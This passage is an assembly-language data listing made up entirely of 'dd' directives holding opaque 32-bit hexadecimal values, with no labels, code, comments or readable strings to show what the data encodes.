		dd 0E7F709B2h, 0E4192692h, 8BBC0037h, 5290F1CBh, 0C00A0873h
		dd 4837A974h, 4B38259Ch, 1407336Fh, 2BC28BFCh, 6129A1C4h
		dd 1C716360h, 8F007118h, 0C18CBFC4h, 0C4EAE540h, 52EB958h
		dd 0D9CD870Fh, 4EEA41F1h, 4916C50Bh, 0B5E92120h, 973B3E2Eh
		dd 4D031823h, 8CBECDCh,	1605956Eh, 63A23112h, 19996466h
		dd 0AE13CF90h, 46D0E848h, 380B6BCh, 0DEA8B36Bh,	11F24584h
		dd 85A92220h, 0A13B00D4h
		dd 0CF98F0E1h, 0F13FD87Ah, 234204E7h, 0BDBC8E0Fh, 0D18B5A9Ch
		dd 0E1D0BE5Bh, 0D2D80EEh, 19029982h, 0FDA215h, 0B57158A3h
		dd 0C6B93Fh, 60F59C5Dh,	6D8D89F9h, 5F1AF3D6h, 5D810A96h
		dd 1415467Ch, 4ADC3DDBh, 8D31A9D0h, 51085375h, 0B74A2238h
		dd 3D31A359h, 30C549B8h, 255A9544h, 0CBA4FD0h, 0BD249178h
		dd 0A5D8588h, 0F3311142h, 0C4B4B7ABh, 7C368D0Eh, 0F07D56E3h
		dd 2F7CD76h, 911ABB68h,	0AD8DA214h, 7F7A6B78h, 0F466EB00h
		dd 0F58CD936h, 244A6A6h, 0ABC6728Bh, 6F6AF75Dh,	2055BD9Ch
		dd 8C18FCC3h, 8504C8FAh, 0D38BBA0Dh, 7868E809h,	0CF001E58h
		dd 0B7E5F720h, 5BE31ABh, 53547760h, 0A4D716DEh,	0D4A65E88h
		dd 0A37850B3h, 0F12F05A7h, 0C42210Ch, 8D0C68FFh, 81857954h
		dd 0CEF0F61Eh, 2D187518h, 0D871931Dh, 1085695h,	150D25BDh
		dd 1676358Bh, 0F205A985h, 4C4A59A7h, 0C90BB418h, 42122D3Dh
		dd 0B6EF4A05h, 0B003B18Ah, 0BF23DBC8h, 88C55BF0h, 3E371611h
		dd 9FD6A008h, 21006AB7h, 0BA4B1553h, 0E05A0983h, 0AC4E85C7h
		dd 0DCE796h, 0AE7559F3h, 3C8108BAh, 0BC0A615Dh,	0C5B10171h
		dd 9D6107EBh, 88C7C2E9h, 0BE6017E4h, 0D348CE78h, 0F0B226Eh
		dd 3C40226Dh, 0F2859760h, 924CF9D8h, 0FD792A20h, 614B5F79h
		dd 3480B9DBh, 67FE8999h, 85547864h, 0FEEAB5B1h,	0EBC16065h
		dd 903104Bh, 0C53C2F0Eh, 0ACDAC01Ah, 0D41C0EA4h, 0E42E5CD2h
		dd 3134CE00h, 27EA1BF5h, 0D129B31Eh, 0C7DD5B40h, 0F917E62Ah
		dd 67E8DFF9h, 0A7A670DBh, 4128C001h, 0D40227E6h, 0E9C3727Dh
		dd 8158E880h, 7F300BE2h, 0EED77ACEh, 603F4596h,	0B84AD6A9h
		dd 15F254F3h, 0FA547430h, 4FFA00E7h, 0FEBF19D1h, 131C9B9Ch
		dd 0E62504C2h, 21DFA116h, 146029C6h, 700BC3CBh,	0EE0E880Fh
		dd 0ABC70043h, 15EEF1A1h, 0FF5E46B8h, 13D97CEEh, 8DD04486h
		dd 0B3939D17h, 22D39ABBh, 231A8411h, 0C42EB2E0h, 1214465Eh
		dd 63F0F8A1h, 9A1569B7h, 193DC402h, 9D858D00h, 908BB71Dh
		dd 62CBC04h, 2E5A5250h,	60782404h, 48581497h, 80A2A63Fh
		dd 3E019C29h, 1E9F77E1h, 8B7DD294h, 75619995h, 0C45EB95Ah
		dd 90F53E8Ah, 36B58BA9h, 31F46664h, 7E989B9Fh, 0B0C49504h
		dd 25B61B0Fh, 64594076h, 98C495EBh, 5C6603C2h, 5812372Dh
		dd 4A59B8B4h, 16FF68B4h, 0DE097195h, 605180B3h,	0BD616CB4h
		dd 6A801E74h, 0E3DF2D14h, 45BF0053h, 2B0A5781h,	0FE016754h
		dd 8B0D16B5h, 4CCF5AD9h, 891C9255h, 16836A85h, 44218D33h
		dd 0E2F56082h, 0F45E007Ah, 3793942Eh, 189AE028h, 4B61BCA7h
		dd 9CA4E808h, 13F2CE01h, 0A79DCB87h, 2369D82Ah,	18D9BD26h
		dd 997A5F99h, 20DCE814h, 82BB0422h, 816F194Ah, 231B2544h
		dd 0E73327D0h, 6018C482h, 4EF1BADh, 8957C9ABh, 2763B995h
		dd 0EEA8105Fh, 0E74500DDh, 0BE58FA36h, 803E4C49h, 54BF7B21h
		dd 0A9E46978h, 9B07B100h, 0F7367CFh, 41E85FD9h,	9AA7D247h
		dd 5323D4h, 0AC128332h,	0D7E63Eh, 95D1A227h, 1B7F1822h
		dd 172B912Eh, 5F195302h, 0D68E4150h, 0E9ED849h,	137C78F8h
		dd 204571BBh, 58DD8A40h, 5DC0DBEh, 0BD315466h, 298742F9h
		dd 0C5FEB1B5h, 247112BBh, 9D8209DEh, 0B640F517h, 6487C58h
		dd 8C16EC79h, 0F1C2A204h, 9E823160h, 0CF810703h, 5D9F24C0h
		dd 0E8178A61h, 0F937D0FFh, 5EC069A7h, 59CFCDh, 6AE916C9h
		dd 17482FA8h, 0A085293Eh, 0BC1DA326h, 0A1563688h, 106459B4h
		dd 0A20862Eh, 5D928001h, 0BB98226h, 0E2FF4CF8h,	8A0FB514h
		dd 49FD14D7h, 0CF2475E8h, 0CA67C1C9h, 0BF37A069h, 5EE483FBh
		dd 82E4C774h, 0F3087634h, 0CEADB14Bh, 0DF54C1F6h, 0CF70982Eh
		dd 152FDBA5h, 8A149134h, 5B52D9E2h, 0F984506Eh,	941A614h
		dd 796E4ECBh, 6BE6BA0Ah, 6A96049Bh, 0A46EE3E9h,	92DEE810h
		dd 88E063E6h, 0C01F6DBh, 0BDA0F35Ch, 0C063312Bh, 0D998000h
		dd 0B1BAC186h, 2E88C820h, 64272415h, 2E825293h,	0FA700917h
		dd 0A01D2F48h, 62B50156h, 0F9601B61h, 366C37F6h, 6143C051h
		dd 43B29368h, 3481B600h, 5CDFAA24h, 0C0BA0462h,	986C2836h
		dd 6756B101h, 11454CE7h, 0D0272265h, 6F0046E4h,	3701C72Ah
		dd 48656h, 1D7B48F3h, 0ECBACA46h, 7109AAA2h, 17C3E6CDh
		dd 6D8010F8h, 0C2810109h, 156F0FB0h, 9D6C8758h,	7E1F1BB7h
		dd 0BABE2B40h, 0AA1B968h, 830FBD22h, 0A2A12423h, 0D13A1E9Bh
		dd 0E8C46527h, 952E095h, 0AE4A05B8h, 0FA7212C1h, 0B31766F2h
		dd 9989EB4Bh, 2380A67Ch, 575DE391h, 0B0927600h,	8370F458h
		dd 0B43A28C8h, 0BDE8A0B3h, 9A4C928Bh, 733D887Bh, 35EF0FC5h
		dd 0DC40BEFBh, 46A3C43h, 48804CB1h, 37CF7F1h, 327B2687h
		dd 99780076h, 946843D5h, 0C2F4A30Bh, 6C8A8781h,	533D0B12h
		dd 309F71F7h, 0D826D606h, 26D661Dh, 0A8607E20h,	7963CA4Ah
		dd 8897001Eh, 0E537A687h, 0F82590F7h, 2B7192h, 1DBCB146h
		dd 0B2FD591h, 5E404261h, 0B0336B88h, 97600828h,	236F8F2Ah
		dd 0FC7C0200h, 0AE0CA881h, 212CD261h, 4A1B6A3h,	89CFEF05h
		dd 9221978Dh, 61B88879h, 80C5B106h, 0B0423EF2h,	23B920DAh
		dd 0EAFC8A24h, 0D811511Ah, 0CCEA8B49h, 3898F4F8h, 0F126668h
		dd 7DECDAD3h, 55FC10C0h, 71F6BF07h, 0B6BBF405h,	0E0402B85h
		dd 252DF09Ah, 0E6C1F066h, 4A05BA92h, 0E67A12CAh, 1814E06Ch
		dd 0BA5E63B1h, 0A32E0335h, 30DE1B0Bh, 0EAA01DA0h, 233B3B74h
		dd 4AEB5E95h, 0B08762F7h, 0B950D8B6h, 304C2D39h, 8153C34Dh
		dd 0C10905EBh, 135B07E2h, 0F9BF24AFh, 0F7B888h,	0CC362178h
		dd 0CA311FD1h, 648BAB2Dh, 0B58D144Eh, 0BA004B6Ch, 0BB96565Ah
		dd 197AE77Fh, 330F5076h, 9601685Fh, 0D077576Fh,	0E2098BEAh
		dd 7529EFBAh, 25ABB018h, 59152900h, 0B3B10777h,	0E13C028Eh
		dd 1E94EB05h, 89113976h, 8D5A9891h, 0C99604B3h,	33D9386Dh
		dd 0E0D01914h, 0DD0BEDB5h, 7995951Dh, 0B3946200h, 8D85C7DCh
		dd 4F333EF9h, 0CEC5CB8Bh, 7E801338h, 0DAABA020h, 0DEBF0270h
		dd 9817DC73h, 811093BDh, 0B724761Ch, 8100F0DEh,	8D5136D3h
		dd 57200C46h, 8550F0B6h, 4D9C9169h, 5E09E68Dh, 1E91BE17h
		dd 0B0CD97BBh, 324FDE75h, 4D4B617Bh, 16B000E7h,	0A5010F6Fh
		dd 0D75EEBB7h, 6E3E40F5h, 4DB900DDh, 726C9FBFh,	0A04FE62Ah
		dd 2E2F2DD4h, 96223880h, 444C4CEh, 1F0829EDh, 78B28C13h
		dd 3C5CBA03h, 134F36E9h, 0AB00A36Eh, 534AC79Dh,	645C8DF4h
		dd 1FBD1039h, 40F53F50h, 1AC44822h, 0A8192179h,	2B15205Ch
		dd 8C0C06E1h, 24F964F7h, 5735BE2Fh, 2E61CC04h, 69F93B0Ah
		dd 0F1CC0A86h, 0D9731D90h, 0D776B90Bh, 1DC0B40h, 71D99B1h
		dd 0A9BC8413h, 1646EC2Dh, 305090BEh, 0B7BD14E4h, 1B5F7300h
		dd 0A7FA7FB1h, 0FCE0BDCh, 0D659F30Ah, 0A91816D1h, 78C25527h
		dd 2F294184h, 0C489D537h, 89602984h, 0B0B982B6h, 0FAE16539h
		dd 0D19D51C6h, 7A6E2B58h, 0EF713200h, 0A08B8321h, 0B91329B0h
		dd 31520453h, 2CEDE104h, 0A39FBB5h, 80D19B5Bh, 9F4D9940h
		dd 69DD04EAh, 0D6D52A95h, 0B79F565Ch, 70028075h, 3B483341h
		dd 0BBD7550h, 2493C048h, 0D1623945h, 5B68761h, 0C47824D8h
		dd 0B4ED3401h, 7E67E913h, 33690008h, 8CF1AFD0h,	1280EAF3h
		dd 86121E5h, 81860994h,	907F1CC6h, 0C0E3017Eh, 0FD46E9AAh
		dd 0E9B7C6FFh, 2F8E6482h, 0DB5CC05Eh, 35DA758Bh, 987551BDh
		dd 6CA80DEh, 1F24FCB6h
		dd 0FB760A11h, 0BB0B2533h, 0AB9015ADh, 0FC1E27B9h, 12786A95h
		dd 7325DE8Ah, 277BD889h, 0B4EAA09Fh, 3B7AF9A3h,	77D31C00h
		dd 3F426651h, 0F12056Ch, 87D9BD2Eh, 7CCD1B69h, 0EEFB05C0h
		dd 85290B3Fh, 169202F9h, 0FFFA1540h, 0EFA077B1h, 0FD305920h
		dd 7AAA57EEh, 602F2541h, 0EC0B3492h, 93F38048h,	0C79564h
		dd 4DEBDC32h, 0A93F2569h, 0A092D84Ah, 41F87450h, 0C88DBC41h
		dd 7412A859h, 0A7455B71h, 0EC859509h, 0C980A702h, 0A366D9DEh
		dd 6BF678F7h, 0AB641902h, 52E8A8ECh, 0C4E4018Dh, 0B66D5272h
		dd 6012F37h, 0DBD015Ah,	0B9012738h, 38814EF3h, 50975390h
		dd 0AC1C0ADh, 4C279EDFh, 0FA1FB51h, 2DD0F59Dh, 0D3949A59h
		dd 0F0E071F3h, 7F0093CAh, 0BF501D1Fh, 536AD09Eh, 35149753h
		dd 5D84D221h, 0DB30125h, 4E30C08Bh, 2D9EB645h, 0FA1173BDh
		dd 0AF85F9ACh, 91400E6Dh, 7484E4B2h, 0EEB616DBh, 296F410Ch
		dd 7F25818Dh, 0F9C334h,	0A6B8ADA8h, 0DDF1B00Ch,	498D2E5Fh
		dd 0C2247979h, 572B1655h, 0F2F7E32Ah, 70753114h, 11045D36h
		dd 18F1B531h, 8AB0F7A4h, 4CFF2D8Bh, 315205Fh, 69277C96h
		dd 601275FBh, 911559FDh, 16A1735h, 5823D8FBh, 248B7C75h
		dd 40F1714Eh, 0CEFC1FEh, 3746684Dh, 223E220h, 700DD257h
		dd 22DA25Dh, 0FF32E91Ah, 0DF608F79h, 9EA9C530h,	503F68A1h
		dd 0EA105DDh, 1BB92871h, 0EB7C6A50h, 126E4056h,	0C1C31D61h
		dd 0EBA5CE0h, 814608F0h, 83F083EAh, 0FD14C22Ch,	3C20AD08h
		dd 5C84F3FFh, 17072B8Fh, 7EA9CDEFh, 0A2D7A3FCh,	2B580C48h
		dd 0BAF01AC2h, 4DFCA0A4h, 4394B05Ah, 3C500112h,	3A81D003h
		dd 19AF45D9h, 2D0E27D5h, 0E95D6009h, 7F269DD9h,	3D20FEC8h
		dd 6E40E413h, 0C2F84F3Ch, 8B811AF1h, 2012D6E7h,	5362535h
		dd 7A1C5BF8h, 20D1630Ch, 4D7B0FEDh, 9120865h, 8BFABC57h
		dd 2C1322D6h, 2188B51h,	0B0A98110h, 59B5148Ch, 0C3C03317h
		dd 24CD9CFBh, 478BFDA5h, 3CD6CA68h, 83DEBFFDh, 131FED43h
		dd 6F60D3EBh, 0FD00B8Dh, 0F94B9187h, 6E2BCF21h,	5EE200B7h
		dd 0CBD6C508h, 0FCEC5052h, 5A172FCEh, 90E51DF5h, 0DAFED738h
		dd 4388413h, 0C5B64B2Eh, 6F4C1EE0h, 8E7FE504h, 0AEE2A610h
		dd 67D54500h, 7A2DB159h, 0A9FBBE03h, 0D73BEC2Ch, 2C815294h
		dd 8F2B2F61h, 0C019C8D6h, 0C14D5359h, 0F5963702h, 7D0973E8h
		dd 63D5F22h, 4025FA0Ch,	0B527012Dh, 5C80E839h, 26F9D09h
		dd 0DEE5EC40h, 47BE3F66h, 7DA4C84Eh, 0C57E550Eh, 4CD7810Ch
		dd 4C8ABFF6h, 0ADC0B185h, 6D070437h, 4FA0C4E1h,	40FEE847h
		dd 5ACAF508h, 652CA575h, 49FB01F4h, 168276C7h, 5E046E3Ch
		dd 610329EDh, 6D5EC8E8h, 0DE023C6Eh, 9259F66Eh,	81603776h
		dd 31FAFBC7h, 4DC21D7Eh, 16880F25h, 2A8B1DC0h, 0B5B4A057h
		dd 0B81741E9h, 3014A0C8h, 0BC765E8h, 261D5B5h, 2E6D8523h
		dd 0EA90641h, 6AE7A2Ah,	31E8BFC6h, 0F6B79F69h, 57BF5500h
		dd 98962028h, 12862247h, 1F9EE852h, 0C684D4FCh,	36AFB376h
		dd 8513A002h, 0CBBD217Dh, 110BE5E8h, 5E07CFE8h,	2D298AADh
		dd 49AD4590h, 0CDF960ADh, 2D20E6A8h, 998FF82Ch,	501FA8A0h
		dd 208526A9h, 9FB40C69h, 1D9B303Fh, 54E33BEh, 820F681Ah
		dd 8D298C08h, 0A235E16Ah, 311CA988h, 109111Ah, 49AB77E8h
		dd 83B8781Fh, 655E5066h, 334DB5E1h, 628587C0h, 3596004Fh
		dd 8D29C06Ch, 0A5C81A61h, 78B58C25h, 205A216Ch,	0AAA4EEF7h
		dd 64A4D7B8h, 2C4089Eh,	5061608Bh, 8D166703h, 0E42D38DFh
		dd 265C037Dh, 0D2101A58h, 26919E2Ch, 93313725h,	636F83Eh
		dd 0A8E85D5Ah, 796D9566h, 0B96632E0h, 98A26207h, 0BD5D0DC1h
		dd 40900011h, 5BB2FEDAh, 4AAFE30Bh, 8E37718Bh, 0A77752E8h
		dd 7EE5A080h, 8C9095D5h, 78009547h, 484CF16Fh, 1E2F58Ah
		dd 367380EEh, 1944ADEh,	81000BE1h, 7D0505D1h, 0DE86F9Eh
		dd 4A029B7Eh, 0D9D8951h, 0E920D50h, 0F1057521h,	0B8681819h
		dd 7E9001B3h, 55B533DAh, 0B79B5218h, 379F0C50h,	0B30A0997h
		dd 0D4005EE4h, 48B78CF5h, 0F0958Fh, 3502C52Ch, 5B5FB330h
		dd 0A6BE9E3Fh, 51084E3Ah, 0D45461Bh, 0B07FB11Ch, 0C5B5CD25h
		dd 5638FC62h, 91E6F000h, 0C9F95FC8h, 0E6E6A34h,	0D60F401h
		dd 0D05A0EE7h, 9D817149h, 0C365B857h, 5676EAAh,	7E8878A8h
		dd 0AD19804h, 0E480E117h, 255F958Dh, 0B3D5FC9h,	0B12A7B8h
		dd 58918C7h, 11B983Fh, 4B82BD00h, 0A5142279h, 0FE5253AEh
		dd 0D0F71378h, 99E4DCC3h, 4E072C79h, 4AC0FE78h,	6DD82BC2h
		dd 2BCBE09Dh, 4501A1B7h, 404A42B3h, 302B93D4h, 66F2D3A4h
		dd 34006D7Fh, 519F9A88h, 110AF3DEh, 3811E9FFh, 32A88017h
		dd 0F1A05727h, 0BCC701DFh, 0B3DCADBh, 5061C445h, 0B206AFDh
		dd 13B1E7h, 0B365D24Ch,	26CC7D62h, 0F90B86B0h, 293595Eh
		dd 57246DA5h, 0B5B5BD16h, 9A0D0007h, 0A6111E62h, 79EC49Dh
		dd 9C1FC6DBh, 0B40B403Fh, 0ED044122h, 0F7BF03D4h, 5E2C61C0h
		dd 85230B60h, 14720BB1h, 5B80544h, 3AC2CDD6h, 716FAF61h
		dd 0DEBC1C00h, 0E8E37FF0h, 0C2A72DA0h, 64FF0405h, 0C7B9B531h
		dd 164D5F24h, 0F6CD5749h, 0FBE43Ah, 0A27D10D8h,	0CB1772FFh
		dd 45E61A89h, 604D2BE1h, 8C1247EDh, 6BA2A669h, 0A21FEC00h
		dd 8D03D0D9h, 4ABDBD4Dh, 44214C1h, 80F8DB2Bh, 8736EA7Eh
		dd 20E898B4h, 0D7A42C95h, 1A7E7F92h, 36BA55FAh,	6FB0604Ah
		dd 3801BB88h, 1BFC87E9h, 729664DCh, 0CD74AC9Dh,	73607F22h
		dd 5745AA2Ah, 8E8F611h,	0BC6D0B50h, 7D80E439h, 532D40B9h
		dd 7BFDC112h, 9CA735B1h, 0B770217Bh, 72E61433h,	0E01E5AE9h
		dd 3F87C061h, 0B49B3E5Bh, 0C189B201h, 0D93419DBh, 62536F30h
		dd 0C85D414h, 3342BE00h, 5F9CB059h, 43E6E1Ah, 647F5B2Eh
		dd 0E3A4AAC1h, 0BF4EC13Eh, 81705E36h, 0F65802E6h, 9D42D86Bh
		dd 0CB2DD520h, 8C9FA5C6h, 0D2801991h, 0E6FF763Ah, 950AAD94h
		dd 734BE80Ah, 0E5B50949h, 36D350ADh, 9EFF013h, 6D90EB2Ah
		dd 0B70F0116h, 96D681CEh, 0DC50C9DCh, 0B7DBBE1Ch, 0E25BA0C6h
		dd 3B3A5864h, 2BBA9E71h, 0C0BED8FDh, 8BAE0A3Fh,	1879706Ah
		dd 148206h, 68258845h, 4258BED9h, 6373101h, 55F710E5h
		dd 4A9B9755h, 870F2EC2h, 0B90E3364h, 5EDB0BE4h,	96C98BD2h
		dd 5388FDDh, 20BE6681h,	0A9A24391h, 0F59BFA4Fh,	561425C2h
		dd 1D75FD82h, 0FC801A22h, 0F58D172Eh, 0D4E3A3A8h, 2DC0EC78h
		dd 0B0EEA68h, 0F5BA6210h, 0F491FE29h, 9B5C2124h, 4F0E4200h
		dd 514D8D01h, 203E6118h, 7358451Eh, 318E0E03h, 4E8FD90Bh
		dd 1D46ECDh, 0A9BFC778h, 0FE304758h, 1A25EE66h,	29D4E93Fh
		dd 8370D373h, 745900C0h, 0B532F830h, 0EDB76A95h, 3D8EE0C6h
		dd 0CA0599A7h, 0B261F503h, 8C8062FCh, 6B08D4F4h, 1BC4FB01h
		dd 4DB523A4h, 0D25ED324h, 1B05A872h, 0A10EB629h, 4168619Dh
		dd 5E85FC8Bh, 0B6B6563Dh, 7B70E00Eh, 0CFAB28A5h, 0B739E8A0h
		dd 64867F10h, 0ACDA5E03h, 0F037AAC6h, 0ADC3655Dh, 0FD1CE0ACh
		dd 0F1ED0168h, 6AC26BA2h, 0C58A021Bh, 79B7DFh, 0C8FFF853h
		dd 2313E896h, 1EE0D9DFh, 8BB61314h, 0CABC88C0h,	1716CB39h
		dd 0D9E8412h, 0F2E6AA92h, 0AF1738A2h, 85C0FD6Dh, 964D8363h
		dd 53C5175Dh, 4176F4Dh,	0FA300698h, 200283C2h, 0BD89EF8Ah
		dd 22BC5D7Bh, 0A64AD3ADh, 9900D6E0h, 0A29160C8h, 0B902F00Bh
		dd 0C4898029h, 0BDC79601h
		dd 0C65EB800h, 3719E64h, 8D902EAh, 8DDE43F6h, 0E0DA9DDh
		dd 0DCF953CEh, 0E5AA5CC0h, 0CC01078Ch, 0F0E38ED0h, 202E310Fh
		dd 88FA061Fh, 0C201107Fh, 54BB66C7h, 843A5F74h,	5FF9AA64h
		dd 2000B5ACh, 0A71F97DDh, 97E5C1ABh, 9D312F18h,	129F120h
		dd 264DF81h, 7F6A362Bh,	0B702FB6Fh, 217B2C1Eh, 61000371h
		dd 0BBF2A698h, 0D5B01C4h, 0B9A53140h, 0FFEEE48Ch, 0D8F66A4Fh
		dd 21C299F1h, 18953EDBh, 3A600302h, 78B5F307h, 0AB0101F3h
		dd 230F688Bh, 0DFD27DBDh, 84760412h, 70EC5CDCh,	200ED824h
		dd 114125EBh, 56B74FEAh, 6169838Eh, 165B5768h, 0E1B54C8Bh
		dd 6A4FD5D8h, 6D01C66Fh, 0ED9D01C1h, 88254F17h,	62D8C31Dh
		dd 421122F8h, 0C933F009h, 6950F478h, 691C3AF0h,	0D2678DB6h
		dd 2D7F44Fh, 1864265Eh,	9953D1FFh, 2D254370h, 0C8E2C1B1h
		dd 0E4C87E55h, 0F9EAA77h, 0FA643CC9h, 699DED1Eh, 546A02CEh
		dd 844C13EDh, 0BB4A62E3h, 748F5A88h, 801E02C5h,	9217B1C3h
		dd 0E87C014Ah, 9D6A14DCh, 0FD10AAF0h, 9FD65D0Ch, 197025DEh
		dd 27E9DBBFh, 98D10D2Ch, 93A6A62h, 0F1755DCh, 0AAE8D3FDh
		dd 0BF65D339h, 8BB08954h, 5C80EF8h, 0FCE00691h,	99066FBh
		dd 2FEF2050h, 5383669Bh, 0DDE1337Dh, 3813D473h,	0BD10F278h
		dd 5C69250Dh, 102CD25Bh, 62CB01DEh, 57FBACA5h, 0E6933D4h
		dd 23706B1Fh, 98E7344Fh, 4A4C3C5h, 9EFC431Ch, 0ACA9AB19h
		dd 80CC9AD2h, 9A7ED92h,	0F0D24A52h, 5408D61h, 0B3614FFCh
		dd 0DC8A0FAEh, 116F366Ah, 69C86803h, 51F067EAh,	0FF093A55h
		dd 0DC2D25B5h, 272FF471h, 81C079F0h, 328BB7BBh,	0ED33207Eh
		dd 254B0A4Fh, 42BEF4A5h, 0E9031B4Dh, 223965DDh,	9D7DB4C5h
		dd 0B081AD54h, 5B7B4BB5h, 0E660B422h, 800F7016h, 0D960B923h
		dd 412A0D95h, 0E461F31Bh, 0FF206E71h, 0B6B75Ah,	0F170D259h
		dd 23D0170Fh, 725B8727h, 2B986F46h, 0B2C8B6C5h,	8BFC0DEEh
		dd 7C594C1h, 9699A66Ch,	2973BFAh, 241B39F2h, 68D187C8h
		dd 93DA28B3h, 81BDF9D1h, 4859E5A5h, 2785AD3Fh, 0FA69097Ch
		dd 6D449825h, 2A0A3C07h, 5E2B5C98h, 3B86E4BDh, 8C0D064h
		dd 0B4D1F849h, 7C2CB709h, 12A26842h, 84FFBDB1h,	80431B84h
		dd 0A5E20BCBh, 89FE1882h, 11DCBD1h, 6023758Ah, 11B58D60h
		dd 9B7BF5BEh, 7451C1CCh, 9E925A88h, 53E6AA81h, 0FD72F100h
		dd 1DBF5B6Eh, 0CA102200h, 7C48DE44h, 12A01662h,	120EFCDBh
		dd 1BB96A5Fh, 764E1CBCh, 0F909BDA3h, 9059C8B9h,	9BD8282Dh
		dd 0E781FC00h, 0B5A960DDh, 1A99B240h, 4EADEC83h, 0D92F55B8h
		dd 9946161h, 1374E22Ah,	686FC02Bh, 15D05900h, 0A90BE10Ah
		dd 0F2BF6607h, 0F60BBACEh, 0EB72F6F2h, 99C77201h, 0D20210AAh
		dd 0BD5FE8Bh, 0CA0ECDDBh, 0FE480086h, 3A6D3610h, 83004E52h
		dd 0ADCE64F6h, 0D167C233h, 0E9B0D07Eh, 0B5F47504h, 12C088EDh
		dd 9D50D514h, 9C1994Dh,	0E02041A5h, 0DC7C4FDh, 0BF604088h
		dd 170E56Fh, 7F3AB801h,	30615E8Fh, 2045A5D1h, 1A65B041h
		dd 0FB2C6F69h, 62AF601Fh, 0B23FB821h, 0FC9B8045h, 352C0B6h
		dd 0B14A2C3Dh, 0A6C21C8Eh, 8C11B0Ah, 0B28D4AC7h, 535E5819h
		dd 90E1E0DCh, 5C120A8h,	0D278FB0h, 45C96421h, 0FAB48E17h
		dd 0FC2E11B8h, 4D6909D5h, 1739C690h, 0CEE1FF80h, 0CF107148h
		dd 57A7D7B8h, 1CEA9CA0h, 1402BA4h, 359786A8h, 0F6AC00B0h
		dd 0F19AF2DFh, 0CF80B10Ah, 424E32FCh, 2940860Fh, 0A04092D4h
		dd 390CE9h, 938B8494h, 56B77ADCh, 80D60639h, 0A28EE117h
		dd 0BF605B72h, 130E96B7h, 65CB21CFh, 803E14B3h,	759D2368h
		dd 4800E40h, 0B53104E1h, 1457B8A5h, 1989C90Ah, 0DAF015Ch
		dd 0CEB84D10h, 0A5431300h, 162391E3h, 0B4DFE053h, 0F407407Bh
		dd 4B028361h, 3A9CACB8h, 0AD39C05Fh, 0FD3D9709h, 12F2F117h
		dd 0EBAED400h, 85D34A47h, 0C9970898h, 59E033F9h, 5F52801Ah
		dd 8411504Ah, 4BF9AC3Ah, 0F0DFB66Ah, 3EEDA6DDh,	19E1E873h
		dd 201F03FFh, 8A28532Eh, 3BC08BD9h, 6EADE1BFh, 0FAC8951Bh
		dd 8684818Dh, 14FE00ADh, 3AB217D1h, 0D02D92D6h,	706B7B58h
		dd 0FF5AD56Dh, 0F3AF8201h, 1285D780h, 0FE2E7195h, 0B5009E7Ah
		dd 69E087A2h, 2A1798BFh, 420E739Ah, 892ED009h, 0C1A71253h
		dd 0F8A9CFC9h, 46B565CDh, 0B5091704h, 3A5A21ADh, 880F0101h
		dd 6E8A3Fh, 3CEB2D28h, 0B3F12Ch, 0B21E254Eh, 9814573Bh
		dd 0FB163B90h, 156006A6h, 19CC7Eh, 0D7F5A187h, 6B3D6A6Ch
		dd 0F765DE07h, 6A0AC710h, 84D5E327h, 0FFB58B03h, 9D014D1Fh
		dd 85F14AAFh, 49B71F41h, 2E4639A0h, 0E41F562Dh,	0ECEE50h
		dd 0EBA836A5h, 0E72B1B69h, 0BCFF0C00h, 2E104653h, 82894FB8h
		dd 86C40545h, 0EE70844h, 0A665D7C4h, 9881CF44h,	297757BFh
		dd 0AB14795Bh, 4461514h, 0EAB4001Eh, 742C1184h,	96D601E5h
		dd 90F355BBh, 29897B60h, 0A8979A68h, 5AACB0A8h,	60960458h
		dd 0EB358503h, 7A1A3D11h, 1D1BCB00h, 0DD9BADA6h, 7BA905D0h
		dd 22B5FF61h, 4C352D8h,	0A9021AF3h, 14792568h, 0EB81552Ch
		dd 0DF0B7ADAh, 2F1DCE24h, 8DD08D90h, 2177510h, 1688BB90h
		dd 53D661B4h, 7CDF7B70h, 4945B05Fh, 0A937CFFh, 93E8A161h
		dd 0B88FF961h, 555E249h, 0C71D8EE2h, 82028D85h,	0E98D8927h
		dd 0D393C42Ch, 2E9322B5h, 0ECEB8020h, 0E9DE128Ah, 0B0FBF73Fh
		dd 341821h, 4CB6E04Eh, 30500C07h, 44E011E6h, 0C11E01E6h
		dd 0EB310E8h, 0F14C8302h, 95725803h, 36EBE70Dh,	6404DE36h
		dd 3316EE39h, 2829501Bh, 58182140h, 570113CDh, 8BC01B09h
		dd 806BB9C0h, 74E1FD97h, 18004398h, 0F0AD0D76h,	258A7314h
		dd 0BB90758Eh, 9E0048A0h, 83EF68Dh, 13A8E825h, 0F66C513Dh
		dd 0C8C2E05Ch, 64804F0Fh, 0CA9DD47Fh, 618508F0h, 0F8F81204h
		dd 4DB89205h, 88655900h, 430456C5h, 729CA401h, 0DB615CFAh
		dd 0BD7B690Ch, 8809D07h, 53D2C147h, 8912455Bh, 0AA4F042Dh
		dd 5C755740h, 1271758Ah, 1A9E4FFAh, 377F63BDh, 3A478001h
		dd 0AB6DD989h, 723C577Fh, 0B19D0892h, 2DB22806h, 0D1212A75h
		dd 30AAD1CFh, 5E8AF7ABh, 0A507DCBBh, 5C4B77FDh,	8F744E00h
		dd 0B5B72601h, 86E92D00h, 91A7FC7h, 806F3504h, 0D337F4EDh
		dd 6F053260h, 96CE76EBh, 82A0D581h, 2013C142h, 2D69855Ch
		dd 0B776E200h, 287ABF02h, 1C38074Dh, 14996497h,	920AEC84h
		dd 2A5A40BAh, 0A56C88C6h, 26FFB601h, 965B4449h,	0E3C0585Ah
		dd 0F59743A5h, 4B4F6D05h, 0F229BE94h, 80BEDA2Ah, 0E78877C4h
		dd 97D90243h, 9111A3Bh,	49F2021Ah, 0F413D624h, 0A618324h
		dd 0C4A96552h, 10F26015h, 7C7558B7h, 3A53138h, 4A787053h
		dd 38D8010Bh, 804BAB41h, 47FCEF6h, 89031F50h, 334AC486h
		dd 0D49BD234h, 0C8608FCEh, 20E1714Ch, 0C48E492Dh, 837FFFh
		dd 0BB720FA6h, 70562944h, 6D2CB090h, 0BD42E523h, 834BE851h
		dd 60042CC2h, 641B66ECh, 0F2D45606h, 20C699F1h,	610A22B9h
		dd 0DA205089h, 0E1A4674h, 5DA06E20h, 6E6C5C1Eh,	0C826FA29h
		dd 0DBB1608h, 3137860Fh, 0C2B8D980h, 40E56F5Dh,	0BB8AEE0Ch
		dd 0ED56FC16h, 29D9E300h, 0A41C69BDh, 240B5AC0h, 9808AE7Eh
		dd 27842B25h, 7566800Bh, 0A95FBB03h, 0F15032C9h, 377189FEh
		dd 9B88D2Bh, 0C1A30220h, 0BA7D462Ch, 0DC4D9623h, 5A05561Fh
